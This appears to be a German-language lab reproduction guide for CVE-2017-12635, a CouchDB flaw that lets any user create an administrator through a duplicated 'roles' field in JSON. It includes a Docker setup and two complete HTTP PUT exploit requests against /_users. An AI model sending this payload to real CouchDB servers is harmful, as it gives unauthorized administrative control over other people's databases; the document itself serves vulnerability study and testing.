## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-CYBERHARSH-APACHE-COUCHDB-CVE-2017-12635
# Couchdb vertikaler Privilegienumgehungs-Bug (CVE-2017-12635)
Apache CouchDB ist eine Open-Source-Datenbank, die sich auf Benutzerfreundlichkeit und darauf konzentriert, eine „vollständig das Web umarmende Datenbank“ zu sein. Es ist eine NoSQL-Datenbank, die JSON als Speicherformat, JavaScript als Abfragesprache, MapReduce und HTTP als API verwendet. Sie wird vielfältig eingesetzt, z. B. von der BBC für ihre dynamische Content-Plattform, von Credit Suisse für das marktbezogene Framework ihrer hauseigenen Rohstoffabteilung und von Meebo für ihre soziale Plattform (Web und Apps).
Am 15. November 2017 wurden CVE-2017-12635 und CVE-2017-12636 veröffentlicht. CVE-2017-12635 ist auf unterschiedliche JSON-Parsing-Weisen von Erlang und JavaScript zurückzuführen, was zu Unterschieden in der Anweisungsausführung führt. Diese Schwachstelle ermöglicht es beliebigen Benutzern, Administratoren zu erstellen, und stellt einen vertikalen Privilegienumgehungs-Bug dar.
Betroffene Versionen: kleiner als 1.7.0 und kleiner als 2.1.1
Referenzen:
* http://bobao.360.cn/learning/detail/4716.html
* https://justi.cz/security/2017/11/14/couchdb-rce-npm.html
## Testumgebung
Umgebung erstellen und starten:
root@kitploit:~
docker-compose build
docker-compose up -d
Nach dem Start der Umgebung kann unter `http://your-ip:5984/_utils/` eine Webseite aufgerufen werden, was anzeigt, dass CouchDB erfolgreich gestartet wurde. Wir kennen jedoch das Passwort nicht und können uns nicht anmelden.
## Reproduktion der Schwachstelle
Senden Sie zunächst das folgende Datenpaket:
root@kitploit:~
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 90
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"password": "vulhub"
}
Es wird ein 403-Fehler zurückgegeben: `{"error":"forbidden","reason":"Only _admin may set roles"}`. Nur Administratoren können Rollen setzen:
Senden Sie ein Datenpaket mit zwei Rollen-Feldern, um die Einschränkung zu umgehen:
root@kitploit:~
PUT /_users/org.couchdb.user:vulhub HTTP/1.1
Host: your-ip:5984
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 108
{
"type": "user",
"name": "vulhub",
"roles": ["_admin"],
"roles": [],
"password": "vulhub"
}
Der Administrator wurde erfolgreich erstellt. Benutzername und Passwort lauten beide `vulhub`:

Rufen Sie erneut `http://your-ip:5984/_utils/` auf und melden Sie sich mit dem Benutzernamen und Passwort `vulhub` an. Die Anmeldung ist erfolgreich:
